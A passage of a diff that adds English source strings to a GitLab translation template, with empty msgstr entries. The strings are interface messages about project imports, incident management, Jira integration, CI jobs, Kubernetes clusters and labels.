+msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
+msgstr ""
+
+msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
+msgstr ""
+
+msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
+msgstr ""
+
+msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
+msgstr ""
+
+msgid "If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgstr ""
+
+msgid "If you recently signed in and recognize the IP address, you may disregard this email."
+msgstr ""
+
+msgid "If you remove this license, GitLab will fall back on the previous license, if any."
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
+msgid "If your HTTP repository is not publicly accessible, add your credentials."
+msgstr ""
+
+msgid "Iglu registry URL (optional)"
+msgstr ""
+
+msgid "Ignore"
+msgstr ""
+
+msgid "Ignored"
+msgstr ""
+
+msgid "Image Details"
+msgstr ""
+
+msgid "Image URL"
+msgstr ""
+
+msgid "ImageDiffViewer|2-up"
+msgstr ""
+
+msgid "ImageDiffViewer|Onion skin"
+msgstr ""
+
+msgid "ImageDiffViewer|Swipe"
+msgstr ""
+
+msgid "ImageViewerDimensions|H"
+msgstr ""
+
+msgid "ImageViewerDimensions|W"
+msgstr ""
+
+msgid "Impersonation Tokens"
+msgstr ""
+
+msgid "Impersonation has been disabled"
+msgstr ""
+
+msgid "Import"
+msgstr ""
+
+msgid "Import CSV"
+msgstr ""
+
+msgid "Import Projects from Gitea"
+msgstr ""
+
+msgid "Import all compatible projects"
+msgstr ""
+
+msgid "Import all compatible repositories"
+msgstr ""
+
+msgid "Import all projects"
+msgstr ""
+
+msgid "Import all repositories"
+msgstr ""
+
+msgid "Import an exported GitLab project"
+msgstr ""
+
+msgid "Import failed due to a GitHub error: %{original}"
+msgstr ""
+
+msgid "Import from"
+msgstr ""
+
+msgid "Import from Jira"
+msgstr ""
+
+msgid "Import in progress"
+msgstr ""
+
+msgid "Import in progress. Refresh page to see newly added issues."
+msgstr ""
+
+msgid "Import issues"
+msgstr ""
+
+msgid "Import members"
+msgstr ""
+
+msgid "Import members from another project"
+msgstr ""
+
+msgid "Import multiple repositories by uploading a manifest file."
+msgstr ""
+
+msgid "Import project"
+msgstr ""
+
+msgid "Import project members"
+msgstr ""
+
+msgid "Import projects from Bitbucket"
+msgstr ""
+
+msgid "Import projects from Bitbucket Server"
+msgstr ""
+
+msgid "Import projects from FogBugz"
+msgstr ""
+
+msgid "Import projects from GitLab.com"
+msgstr ""
+
+msgid "Import projects from Google Code"
+msgstr ""
+
+msgid "Import repositories from Bitbucket Server"
+msgstr ""
+
+msgid "Import repositories from GitHub"
+msgstr ""
+
+msgid "Import repository"
+msgstr ""
+
+msgid "Import started by: %{importInitiator}"
+msgstr ""
+
+msgid "Import tasks"
+msgstr ""
+
+msgid "Import tasks from Phabricator into issues"
+msgstr ""
+
+msgid "Import timed out. Import took longer than %{import_jobs_expiration} seconds"
+msgstr ""
+
+msgid "Import/Export Rate Limits"
+msgstr ""
+
+msgid "Import/Export illustration"
+msgstr ""
+
+msgid "ImportButtons|Connect repositories from"
+msgstr ""
+
+msgid "ImportProjects|Blocked import URL: %{message}"
+msgstr ""
+
+msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
+msgstr ""
+
+msgid "ImportProjects|Importing the project failed"
+msgstr ""
+
+msgid "ImportProjects|Importing the project failed: %{reason}"
+msgstr ""
+
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
+msgid "ImportProjects|Requesting your %{provider} repositories failed"
+msgstr ""
+
+msgid "ImportProjects|Select the projects you want to import"
+msgstr ""
+
+msgid "ImportProjects|The remote data could not be imported."
+msgstr ""
+
+msgid "ImportProjects|The repository could not be created."
+msgstr ""
+
+msgid "ImportProjects|Update of imported projects with realtime changes failed"
+msgstr ""
+
+msgid "Improve Issue Boards"
+msgstr ""
+
+msgid "Improve Issue boards"
+msgstr ""
+
+msgid "Improve Issue boards with GitLab Enterprise Edition."
+msgstr ""
+
+msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
+msgid "Improve customer support with GitLab Service Desk."
+msgstr ""
+
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
+msgstr ""
+
+msgid "In %{time_to_now}"
+msgstr ""
+
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
+msgstr ""
+
+msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
+msgstr ""
+
+msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
+msgstr ""
+
+msgid "In progress"
+msgstr ""
+
+msgid "In the next step, you'll be able to select the projects you want to import."
+msgstr ""
+
+msgid "Incident"
+msgstr ""
+
+msgid "Incident Management Limits"
+msgstr ""
+
+msgid "IncidentManagement|All"
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
+msgid "IncidentManagement|Assignees"
+msgstr ""
+
+msgid "IncidentManagement|Closed"
+msgstr ""
+
+msgid "IncidentManagement|Create incident"
+msgstr ""
+
+msgid "IncidentManagement|Date created"
+msgstr ""
+
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
+msgid "IncidentManagement|Incident"
+msgstr ""
+
+msgid "IncidentManagement|Incidents"
+msgstr ""
+
+msgid "IncidentManagement|No incidents to display."
+msgstr ""
+
+msgid "IncidentManagement|Open"
+msgstr ""
+
+msgid "IncidentManagement|Published"
+msgstr ""
+
+msgid "IncidentManagement|Published to status page"
+msgstr ""
+
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
+msgid "IncidentManagement|There was an error displaying the incidents."
+msgstr ""
+
+msgid "IncidentManagement|Unassigned"
+msgstr ""
+
+msgid "IncidentManagement|Unpublished"
+msgstr ""
+
+msgid "IncidentSettings|Alert integration"
+msgstr ""
+
+msgid "IncidentSettings|Grafana integration"
+msgstr ""
+
+msgid "IncidentSettings|Incidents"
+msgstr ""
+
+msgid "IncidentSettings|PagerDuty integration"
+msgstr ""
+
+msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
+msgstr ""
+
+msgid "Incidents"
+msgstr ""
+
+msgid "Include a Terms of Service agreement and Privacy Policy that all users must accept."
+msgstr ""
+
+msgid "Include author name in notification email body"
+msgstr ""
+
+msgid "Include description in commit message"
+msgstr ""
+
+msgid "Include merge request description"
+msgstr ""
+
+msgid "Include the username in the URL if required: %{code_open}https://username@gitlab.company.com/group/project.git%{code_close}."
+msgstr ""
+
+msgid "Includes LFS objects. It can be overridden per group, or per project. 0 for unlimited."
+msgstr ""
+
+msgid "Includes an MVC structure to help you get started."
+msgstr ""
+
+msgid "Includes an MVC structure, Gemfile, Rakefile, along with many others, to help you get started."
+msgstr ""
+
+msgid "Includes an MVC structure, mvnw and pom.xml to help you get started."
+msgstr ""
+
+msgid "Incoming email"
+msgstr ""
+
+msgid "Incoming!"
+msgstr ""
+
+msgid "Incompatible Project"
+msgstr ""
+
+msgid "Incompatible options set!"
+msgstr ""
+
+msgid "Incompatible project"
+msgstr ""
+
+msgid "Indent"
+msgstr ""
+
+msgid "Index all projects"
+msgstr ""
+
+msgid "Index deletion is canceled"
+msgstr ""
+
+msgid "Indicates whether this runner can pick jobs without tags"
+msgstr ""
+
+msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
+msgstr ""
+
+msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgstr ""
+
+msgid "Inherited:"
+msgstr ""
+
+msgid "Inline"
+msgstr ""
+
+msgid "Input host keys manually"
+msgstr ""
+
+msgid "Input your repository URL"
+msgstr ""
+
+msgid "Insert"
+msgstr ""
+
+msgid "Insert a code block"
+msgstr ""
+
+msgid "Insert a quote"
+msgstr ""
+
+msgid "Insert an image"
+msgstr ""
+
+msgid "Insert code"
+msgstr ""
+
+msgid "Insert inline code"
+msgstr ""
+
+msgid "Insert suggestion"
+msgstr ""
+
+msgid "Insights"
+msgstr ""
+
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgstr ""
+
+msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
+msgstr ""
+
+msgid "Install"
+msgstr ""
+
+msgid "Install GitLab Runner"
+msgstr ""
+
+msgid "Install Runner on Kubernetes"
+msgstr ""
+
+msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
+msgstr ""
+
+msgid "Install on clusters"
+msgstr ""
+
+msgid "Installation"
+msgstr ""
+
+msgid "Installed"
+msgstr ""
+
+msgid "Installing"
+msgstr ""
+
+msgid "Instance"
+msgid_plural "Instances"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Instance Configuration"
+msgstr ""
+
+msgid "Instance Statistics"
+msgstr ""
+
+msgid "Instance administrators group already exists"
+msgstr ""
+
+msgid "Instance license"
+msgstr ""
+
+msgid "Integration"
+msgstr ""
+
+msgid "Integration Settings"
+msgstr ""
+
+msgid "Integrations"
+msgstr ""
+
+msgid "Integrations|All details"
+msgstr ""
+
+msgid "Integrations|Comment detail:"
+msgstr ""
+
+msgid "Integrations|Comment settings:"
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
+msgid "Integrations|Enable comments"
+msgstr ""
+
+msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgstr ""
+
+msgid "Integrations|Includes commit title and branch"
+msgstr ""
+
+msgid "Integrations|Standard"
+msgstr ""
+
+msgid "Integrations|Use custom settings"
+msgstr ""
+
+msgid "Integrations|Use default settings"
+msgstr ""
+
+msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
+msgstr ""
+
+msgid "Interested parties can even contribute by pushing commits if they want to."
+msgstr ""
+
+msgid "Internal"
+msgstr ""
+
+msgid "Internal - The group and any internal projects can be viewed by any logged in user."
+msgstr ""
+
+msgid "Internal - The project can be accessed by any logged in user."
+msgstr ""
+
+msgid "Internal URL (optional)"
+msgstr ""
+
+msgid "Internal users"
+msgstr ""
+
+msgid "Interval Pattern"
+msgstr ""
+
+msgid "Introducing Value Stream Analytics"
+msgstr ""
+
+msgid "Introducing Your DevOps Report"
+msgstr ""
+
+msgid "Invalid Git ref"
+msgstr ""
+
+msgid "Invalid Insights config file detected"
+msgstr ""
+
+msgid "Invalid Login or password"
+msgstr ""
+
+msgid "Invalid OS"
+msgstr ""
+
+msgid "Invalid URL"
+msgstr ""
+
+msgid "Invalid board"
+msgstr ""
+
+msgid "Invalid container_name"
+msgstr ""
+
+msgid "Invalid cursor parameter"
+msgstr ""
+
+msgid "Invalid cursor value provided"
+msgstr ""
+
+msgid "Invalid date"
+msgstr ""
+
+msgid "Invalid date format. Please use UTC format as YYYY-MM-DD"
+msgstr ""
+
+msgid "Invalid date range"
+msgstr ""
+
+msgid "Invalid feature"
+msgstr ""
+
+msgid "Invalid field"
+msgstr ""
+
+msgid "Invalid file format with specified file type"
+msgstr ""
+
+msgid "Invalid file."
+msgstr ""
+
+msgid "Invalid import params"
+msgstr ""
+
+msgid "Invalid input, please avoid emojis"
+msgstr ""
+
+msgid "Invalid login or password"
+msgstr ""
+
+msgid "Invalid pin code"
+msgstr ""
+
+msgid "Invalid pod_name"
+msgstr ""
+
+msgid "Invalid query"
+msgstr ""
+
+msgid "Invalid repository bundle for snippet with id %{snippet_id}"
+msgstr ""
+
+msgid "Invalid repository path"
+msgstr ""
+
+msgid "Invalid search parameter"
+msgstr ""
+
+msgid "Invalid server response"
+msgstr ""
+
+msgid "Invalid start or end time format"
+msgstr ""
+
+msgid "Invalid status"
+msgstr ""
+
+msgid "Invalid two-factor code."
+msgstr ""
+
+msgid "Invalid yaml"
+msgstr ""
+
+msgid "Invitation"
+msgstr ""
+
+msgid "Invite"
+msgstr ""
+
+msgid "Invite \"%{trimmed}\" by email"
+msgstr ""
+
+msgid "Invite Members"
+msgstr ""
+
+msgid "Invite another teammate"
+msgstr ""
+
+msgid "Invite group"
+msgstr ""
+
+msgid "Invite member"
+msgstr ""
+
+msgid "Invite teammates (optional)"
+msgstr ""
+
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
+msgid "Invited users will be added with developer level permissions. You can always change this later."
+msgstr ""
+
+msgid "Invocations"
+msgstr ""
+
+msgid "Is blocked by"
+msgstr ""
+
+msgid "Is this GitLab trial for your company?"
+msgstr ""
+
+msgid "Is using license seat:"
+msgstr ""
+
+msgid "Is using seat"
+msgstr ""
+
+msgid "IssuableStatus|Closed"
+msgstr ""
+
+msgid "IssuableStatus|Closed (%{link})"
+msgstr ""
+
+msgid "IssuableStatus|duplicated"
+msgstr ""
+
+msgid "IssuableStatus|moved"
+msgstr ""
+
+msgid "IssuableStatus|promoted"
+msgstr ""
+
+msgid "Issue"
+msgstr ""
+
+msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
+msgstr ""
+
+msgid "Issue Analytics"
+msgstr ""
+
+msgid "Issue Boards"
+msgstr ""
+
+msgid "Issue already promoted to epic."
+msgstr ""
+
+msgid "Issue cannot be found."
+msgstr ""
+
+msgid "Issue events"
+msgstr ""
+
+msgid "Issue first depoloyed to production"
+msgstr ""
+
+msgid "Issue label"
+msgstr ""
+
+msgid "Issue or Merge Request ID is required"
+msgstr ""
+
+msgid "Issue published on status page."
+msgstr ""
+
+msgid "Issue template (optional)"
+msgstr ""
+
+msgid "Issue update failed"
+msgstr ""
+
+msgid "Issue was closed by %{name} %{reason}"
+msgstr ""
+
+msgid "Issue weight"
+msgstr ""
+
+msgid "IssueAnalytics|Age"
+msgstr ""
+
+msgid "IssueAnalytics|Assignees"
+msgstr ""
+
+msgid "IssueAnalytics|Due date"
+msgstr ""
+
+msgid "IssueAnalytics|Failed to load issues. Please try again."
+msgstr ""
+
+msgid "IssueAnalytics|Issue"
+msgstr ""
+
+msgid "IssueAnalytics|Milestone"
+msgstr ""
+
+msgid "IssueAnalytics|Opened by"
+msgstr ""
+
+msgid "IssueAnalytics|Status"
+msgstr ""
+
+msgid "IssueAnalytics|Weight"
+msgstr ""
+
+msgid "IssueBoards|Board"
+msgstr ""
+
+msgid "IssueBoards|Boards"
+msgstr ""
+
+msgid "IssueBoards|Create new board"
+msgstr ""
+
+msgid "IssueBoards|Delete board"
+msgstr ""
+
+msgid "IssueBoards|No matching boards found"
+msgstr ""
+
+msgid "IssueBoards|Some of your boards are hidden, activate a license to see them again."
+msgstr ""
+
+msgid "IssueBoards|Switch board"
+msgstr ""
+
+msgid "IssueTracker|Bugzilla issue tracker"
+msgstr ""
+
+msgid "IssueTracker|Custom issue tracker"
+msgstr ""
+
+msgid "IssueTracker|Redmine issue tracker"
+msgstr ""
+
+msgid "IssueTracker|YouTrack issue tracker"
+msgstr ""
+
+msgid "Issues"
+msgstr ""
+
+msgid "Issues Rate Limits"
+msgstr ""
+
+msgid "Issues and Merge Requests"
+msgstr ""
+
+msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
+msgstr ""
+
+msgid "Issues closed"
+msgstr ""
+
+msgid "Issues referenced by merge requests and commits within the default branch will be closed automatically"
+msgstr ""
+
+msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
+msgstr ""
+
+msgid "Issues with no epic assigned"
+msgstr ""
+
+msgid "Issues, merge requests, pushes, and comments."
+msgstr ""
+
+msgid "IssuesAnalytics|After you begin creating issues for your projects, we can start tracking and displaying metrics for them"
+msgstr ""
+
+msgid "IssuesAnalytics|Avg/Month:"
+msgstr ""
+
+msgid "IssuesAnalytics|Issues opened"
+msgstr ""
+
+msgid "IssuesAnalytics|Issues opened per month"
+msgstr ""
+
+msgid "IssuesAnalytics|Last 12 months"
+msgstr ""
+
+msgid "IssuesAnalytics|Sorry, your filter produced no results"
+msgstr ""
+
+msgid "IssuesAnalytics|There are no issues for the projects in your group"
+msgstr ""
+
+msgid "IssuesAnalytics|To widen your search, change or remove filters in the filter bar above"
+msgstr ""
+
+msgid "IssuesAnalytics|Total:"
+msgstr ""
+
+msgid "Issue|Title"
+msgstr ""
+
+msgid "It looks like you have some draft commits in this branch."
+msgstr ""
+
+msgid "It must have a header row and at least two columns: the first column is the issue title and the second column is the issue description. The separator is automatically detected."
+msgstr ""
+
+msgid "It seems like the Dependency Scanning job ran successfully, but no dependencies have been detected in your project."
+msgstr ""
+
+msgid "It seems that there is currently no available data for code coverage"
+msgstr ""
+
+msgid "It's you"
+msgstr ""
+
+msgid "Iteration"
+msgstr ""
+
+msgid "Iteration changed to"
+msgstr ""
+
+msgid "Iteration removed"
+msgstr ""
+
+msgid "Iteration updated"
+msgstr ""
+
+msgid "Iterations"
+msgstr ""
+
+msgid "Iteration|Dates cannot overlap with other existing Iterations"
+msgstr ""
+
+msgid "Iteration|cannot be in the past"
+msgstr ""
+
+msgid "Iteration|cannot be more than 500 years in the future"
+msgstr ""
+
+msgid "I’m familiar with the basics of project management and DevOps."
+msgstr ""
+
+msgid "I’m not very familiar with the basics of project management and DevOps."
+msgstr ""
+
+msgid "Jaeger URL"
+msgstr ""
+
+msgid "Jaeger tracing"
+msgstr ""
+
+msgid "Jan"
+msgstr ""
+
+msgid "January"
+msgstr ""
+
+msgid "Jira Issues"
+msgstr ""
+
+msgid "Jira display name"
+msgstr ""
+
+msgid "Jira import is already running."
+msgstr ""
+
+msgid "Jira integration not configured."
+msgstr ""
+
+msgid "Jira project key is not configured"
+msgstr ""
+
+msgid "Jira project: %{importProject}"
+msgstr ""
+
+msgid "Jira service not configured."
+msgstr ""
+
+msgid "Jira users have been imported from the configured Jira instance. They can be mapped by selecting a GitLab user from the dropdown in the \"GitLab username\" column. When the form appears, the dropdown defaults to the user conducting the import."
+msgstr ""
+
+msgid "Jira-GitLab user mapping template"
+msgstr ""
+
+msgid "JiraService| on branch %{branch_link}"
+msgstr ""
+
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
+msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
+msgstr ""
+
+msgid "JiraService|Displaying Jira issues while leaving the GitLab issue functionality enabled might be confusing. Consider %{linkStart}disabling GitLab issues%{linkEnd} if they won’t otherwise be used."
+msgstr ""
+
+msgid "JiraService|Enable Jira issues"
+msgstr ""
+
+msgid "JiraService|Events for %{noteable_model_name} are disabled."
+msgstr ""
+
+msgid "JiraService|If different from Web URL"
+msgstr ""
+
+msgid "JiraService|Issue List"
+msgstr ""
+
+msgid "JiraService|Jira API URL"
+msgstr ""
+
+msgid "JiraService|Jira Issues"
+msgstr ""
+
+msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgstr ""
+
+msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgstr ""
+
+msgid "JiraService|Jira issue tracker"
+msgstr ""
+
+msgid "JiraService|Jira project key"
+msgstr ""
+
+msgid "JiraService|Open Jira"
+msgstr ""
+
+msgid "JiraService|Password or API token"
+msgstr ""
+
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
+msgid "JiraService|Transition ID(s)"
+msgstr ""
+
+msgid "JiraService|Use , or ; to separate multiple transition IDs"
+msgstr ""
+
+msgid "JiraService|Use a password for server version and an API token for cloud version"
+msgstr ""
+
+msgid "JiraService|Use a username for server version and an email for cloud version"
+msgstr ""
+
+msgid "JiraService|Username or Email"
+msgstr ""
+
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
+msgid "JiraService|View Jira issues in GitLab"
+msgstr ""
+
+msgid "JiraService|Warning: All GitLab users that have access to this GitLab project will be able to view all issues from the Jira project specified below."
+msgstr ""
+
+msgid "JiraService|Web URL"
+msgstr ""
+
+msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
+msgstr ""
+
+msgid "JiraService|e.g. AB"
+msgstr ""
+
+msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgstr ""
+
+msgid "Job"
+msgstr ""
+
+msgid "Job Failed #%{build_id}"
+msgstr ""
+
+msgid "Job ID"
+msgstr ""
+
+msgid "Job artifact"
+msgstr ""
+
+msgid "Job artifacts"
+msgstr ""
+
+msgid "Job has been erased"
+msgstr ""
+
+msgid "Job has been successfully erased!"
+msgstr ""
+
+msgid "Job has wrong arguments format."
+msgstr ""
+
+msgid "Job is missing the `model_type` argument."
+msgstr ""
+
+msgid "Job is stuck. Check runners."
+msgstr ""
+
+msgid "Job logs and artifacts"
+msgstr ""
+
+msgid "Job to create self-monitoring project is in progress"
+msgstr ""
+
+msgid "Job to delete self-monitoring project is in progress"
+msgstr ""
+
+msgid "Job was retried"
+msgstr ""
+
+msgid "Jobs"
+msgstr ""
+
+msgid "Job|Browse"
+msgstr ""
+
+msgid "Job|Complete Raw"
+msgstr ""
+
+msgid "Job|Download"
+msgstr ""
+
+msgid "Job|Erase job log"
+msgstr ""
+
+msgid "Job|Job artifacts"
+msgstr ""
+
+msgid "Job|Job has been erased"
+msgstr ""
+
+msgid "Job|Job has been erased by"
+msgstr ""
+
+msgid "Job|Keep"
+msgstr ""
+
+msgid "Job|Pipeline"
+msgstr ""
+
+msgid "Job|Scroll to bottom"
+msgstr ""
+
+msgid "Job|Scroll to top"
+msgstr ""
+
+msgid "Job|Show complete raw"
+msgstr ""
+
+msgid "Job|The artifacts were removed"
+msgstr ""
+
+msgid "Job|The artifacts will be removed"
+msgstr ""
+
+msgid "Job|These artifacts are the latest. They will not be deleted (even if expired) until newer artifacts are available."
+msgstr ""
+
+msgid "Job|This job failed because the necessary resources were not successfully created."
+msgstr ""
+
+msgid "Job|This job is stuck because the project doesn't have any runners online assigned to it."
+msgstr ""
+
+msgid "Job|This job is stuck because you don't have any active runners online or available with any of these tags assigned to them:"
+msgstr ""
+
+msgid "Job|This job is stuck because you don't have any active runners that can run this job."
+msgstr ""
+
+msgid "Job|for"
+msgstr ""
+
+msgid "Job|into"
+msgstr ""
+
+msgid "Job|with"
+msgstr ""
+
+msgid "Join Zoom meeting"
+msgstr ""
+
+msgid "Jul"
+msgstr ""
+
+msgid "July"
+msgstr ""
+
+msgid "Jump to first unresolved thread"
+msgstr ""
+
+msgid "Jump to next unresolved thread"
+msgstr ""
+
+msgid "Jun"
+msgstr ""
+
+msgid "June"
+msgstr ""
+
+msgid "Just me"
+msgstr ""
+
+msgid "K8s pod health"
+msgstr ""
+
+msgid "Keep divergent refs"
+msgstr ""
+
+msgid "Kerberos access denied"
+msgstr ""
+
+msgid "Key"
+msgstr ""
+
+msgid "Key (PEM)"
+msgstr ""
+
+msgid "Key: %{key}"
+msgstr ""
+
+msgid "Keyboard shortcuts"
+msgstr ""
+
+msgid "Keys"
+msgstr ""
+
+msgid "Ki"
+msgstr ""
+
+msgid "Kubernetes"
+msgstr ""
+
+msgid "Kubernetes API returned status code: %{error_code}"
+msgstr ""
+
+msgid "Kubernetes Cluster"
+msgstr ""
+
+msgid "Kubernetes Clusters"
+msgstr ""
+
+msgid "Kubernetes cluster"
+msgstr ""
+
+msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
+msgstr ""
+
+msgid "Kubernetes cluster integration and resources are being removed."
+msgstr ""
+
+msgid "Kubernetes cluster integration was successfully removed."
+msgstr ""
+
+msgid "Kubernetes cluster was successfully updated."
+msgstr ""
+
+msgid "Kubernetes deployment not found"
+msgstr ""
+
+msgid "Kubernetes error: %{error_code}"
+msgstr ""
+
+msgid "Kubernetes popover"
+msgstr ""
+
+msgid "LDAP"
+msgstr ""
+
+msgid "LDAP Synchronization"
+msgstr ""
+
+msgid "LDAP settings"
+msgstr ""
+
+msgid "LDAP settings updated"
+msgstr ""
+
+msgid "LDAP sync in progress. This could take a few minutes. Refresh the page to see the changes."
+msgstr ""
+
+msgid "LFS"
+msgstr ""
+
+msgid "LFS object"
+msgstr ""
+
+msgid "LFS objects"
+msgstr ""
+
+msgid "LFSStatus|Disabled"
+msgstr ""
+
+msgid "LFSStatus|Enabled"
+msgstr ""
+
+msgid "LICENSE"
+msgstr ""
+
+msgid "Label"
+msgstr ""
+
+msgid "Label actions dropdown"
+msgstr ""
+
+msgid "Label lists show all issues with the selected label."
+msgstr ""
+
+msgid "Label was created"
+msgstr ""
+
+msgid "Label was removed"
+msgstr ""
+
+msgid "Label was successfully updated."
+msgstr ""
+
+msgid "LabelSelect|%{firstLabelName} +%{remainingLabelCount} more"
+msgstr ""
+
+msgid "LabelSelect|%{labelsString}, and %{remainingLabelCount} more"
+msgstr ""
+
+msgid "LabelSelect|Labels"
+msgstr ""
+
+msgid "Labels"
+msgstr ""
+
+msgid "Labels can be applied to %{features}. Group labels are available for any project within the group."
+msgstr ""
+
+msgid "Labels can be applied to issues and merge requests to categorize them."
+msgstr ""
+
+msgid "Labels can be applied to issues and merge requests."
+msgstr ""
+
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
+
+msgid "Labels|Promote Label"
+msgstr ""
+
+msgid "Labels|Promoting %{labelTitle} will make it available for all projects inside %{groupName}. Existing project labels with the same title will be merged. If a group label with the same title exists, it will also be merged. This action cannot be reversed."
+msgstr ""
+
+msgid "Labels|and %{count} more"
+msgstr ""
+
+msgid "Language"
+msgstr ""
+
+msgid "Large File Storage"
+msgstr ""
+
+msgid "Last %d day"
+msgid_plural "Last %d days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Last %{days} days"
+msgstr ""
+
+msgid "Last Accessed On"
+msgstr ""
+
+msgid "Last Name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "Last Pipeline"
+msgstr ""
+
+msgid "Last Seen"
+msgstr ""
+
+msgid "Last Used"
+msgstr ""
+
+msgid "Last accessed on"
+msgstr ""
+
+msgid "Last activity"
+msgstr ""
+
+msgid "Last commit"
+msgstr ""
+
+msgid "Last contact"
+msgstr ""
+
+msgid "Last edited %{date}"
+msgstr ""
+
+msgid "Last edited by %{name}"
+msgstr ""
+
+msgid "Last item before this page loaded in your browser:"
+msgstr ""
+
+msgid "Last name"
+msgstr ""
+
+msgid "Last reply by"
+msgstr ""
+
+msgid "Last repository check (%{last_check_timestamp}) failed. See the 'repocheck.log' file for error messages."
+msgstr ""
+
+msgid "Last repository check run"
+msgstr ""
+
+msgid "Last seen"
+msgstr ""
+
+msgid "Last successful sync"
+msgstr ""
+
+msgid "Last successful update"
+msgstr ""
+
+msgid "Last time verified"
+msgstr ""
+
+msgid "Last update"
+msgstr ""
+
+msgid "Last update attempt"
+msgstr ""
+
+msgid "Last updated"
+msgstr ""
+
+msgid "Last used"
+msgstr ""
+
+msgid "Last used on:"
+msgstr ""
+
+msgid "LastCommit|authored"
+msgstr ""
+
+msgid "LastPushEvent|You pushed to"
+msgstr ""
+
+msgid "LastPushEvent|at"
+msgstr ""
+
+msgid "Latest changes"
+msgstr ""
+
+msgid "Latest pipeline for the most recent commit on this branch"
+msgstr ""
+
+msgid "Lead"
+msgstr ""
+
+msgid "Lead Time"
+msgstr ""
+
+msgid "Learn GitLab"
+msgstr ""
+
+msgid "Learn how to %{link_start}contribute to the built-in templates%{link_end}"
+msgstr ""
+
+msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
+msgstr ""
+
+msgid "Learn how to enable synchronization"
+msgstr ""
+
+msgid "Learn more"
+msgstr ""
+
+msgid "Learn more about Auto DevOps"
+msgstr ""
+
+msgid "Learn more about Kubernetes"
+msgstr ""
+
+msgid "Learn more about License-Check"
+msgstr ""
+
+msgid "Learn more about Vulnerability-Check"
+msgstr ""
+
+msgid "Learn more about Web Terminal"
+msgstr ""
+
+msgid "Learn more about X.509 signed commits"
+msgstr ""
+
+msgid "Learn more about adding certificates to your project by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
+msgstr ""
+
+msgid "Learn more about approvals."
+msgstr ""
+
+msgid "Learn more about custom project templates"
+msgstr ""
+
+msgid "Learn more about deploying to AWS"
+msgstr ""
+
+msgid "Learn more about deploying to a cluster"
+msgstr ""
+
+msgid "Learn more about group-level project templates"
+msgstr ""
+
+msgid "Learn more about job dependencies"
+msgstr ""
+
+msgid "Learn more about signing commits"
+msgstr ""
+
+msgid "Learn more about the dependency list"
+msgstr ""
+
+msgid "Learn more in the"
+msgstr ""
+
+msgid "Learn more in the|pipeline schedules documentation"
+msgstr ""
+
+msgid "Leave"
+msgstr ""
+
+msgid "Leave Admin Mode"
